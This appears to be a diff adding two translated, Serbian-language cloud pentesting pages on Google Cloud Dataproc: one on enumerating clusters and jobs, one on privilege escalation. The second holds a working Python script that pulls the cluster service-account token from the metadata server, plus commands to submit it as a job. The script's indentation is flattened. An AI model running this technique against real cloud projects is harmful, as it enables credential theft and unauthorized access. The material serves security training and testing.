Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/

src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md

@@ -0,0 +1,54 @@
+# GCP Dataproc Privilege Escalation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Dataproc
+
+{{#ref}}
+../gcp-services/gcp-dataproc-enum.md
+{{#endref}}
+
+### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get`
+
+Nisam mogao da dobijem reverznu školjku koristeći ovu metodu, međutim, moguće je da se iscuri SA token sa metadata endpoint-a koristeći metodu opisanu u nastavku.
+
+#### Koraci za eksploataciju
+
+- Postavite skriptu posla na GCP Bucket
+
+- Pošaljite posao na Dataproc klaster.
+
+- Koristite posao za pristup metadata serveru.
+
+- Iscurite token servisnog naloga koji koristi klaster.
+```python
+import requests
+
+metadata_url = "http://metadata/computeMetadata/v1/instance/service-accounts/default/token"
+headers = {"Metadata-Flavor": "Google"}
+
+def fetch_metadata_token():
+try:
+response = requests.get(metadata_url, headers=headers, timeout=5)
+response.raise_for_status()
+token = response.json().get("access_token", "")
+print(f"Leaked Token: {token}")
+return token
+except Exception as e:
+print(f"Error fetching metadata token: {e}")
+return None
+
+if __name__ == "__main__":
+fetch_metadata_token()
+```
+
+```bash
+# Copy the script to the storage bucket
+gsutil cp <python-script> gs://<bucket-name>/<python-script>
+
+# Submit the malicious job
+gcloud dataproc jobs submit pyspark gs://<bucket-name>/<python-script> \
+--cluster=<cluster-name> \
+--region=<region>
+```
+{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md

@@ -0,0 +1,43 @@
+# GCP -  Dataproc Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Osnovne Informacije
+
+Google Cloud Dataproc je potpuno upravljana usluga za pokretanje Apache Spark, Apache Hadoop, Apache Flink i drugih okvira za velike podatke. Primarno se koristi za obradu podataka, upite, mašinsko učenje i analitiku u realnom vremenu. Dataproc omogućava organizacijama da lako kreiraju klastere za distribuirano računanje, besprekorno se integrišući sa drugim uslugama Google Cloud Platform (GCP) kao što su Cloud Storage, BigQuery i Cloud Monitoring.
+
+Dataproc klasteri rade na virtuelnim mašinama (VM), a servisni nalog povezan sa ovim VM-ovima određuje dozvole i nivo pristupa klasteru.
+
+## Komponente
+
+Dataproc klaster obično uključuje:
+
+Master Node: Upravljanje resursima klastera i koordinacija distribuiranih zadataka.
+
+Worker Nodes: Izvršavanje distribuiranih zadataka.
+
+Service Accounts: Rukovanje API pozivima i pristup drugim GCP uslugama.
+
+## Enumeracija
+
+Dataproc klasteri, poslovi i konfiguracije mogu se enumerisati kako bi se prikupile osetljive informacije, kao što su servisni nalozi, dozvole i potencijalne pogrešne konfiguracije.
+
+### Enumeracija Klastera
+
+Da biste enumerisali Dataproc klastere i preuzeli njihove detalje:
+```
+gcloud dataproc clusters list --region=<region>
+gcloud dataproc clusters describe <cluster-name> --region=<region>
+```
+### Enumeracija poslova
+```
+gcloud dataproc jobs list --region=<region>
+gcloud dataproc jobs describe <job-id> --region=<region>
+```
+### Privesc
+
+{{#ref}}
+../gcp-privilege-escalation/gcp-dataproc-privesc.md
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}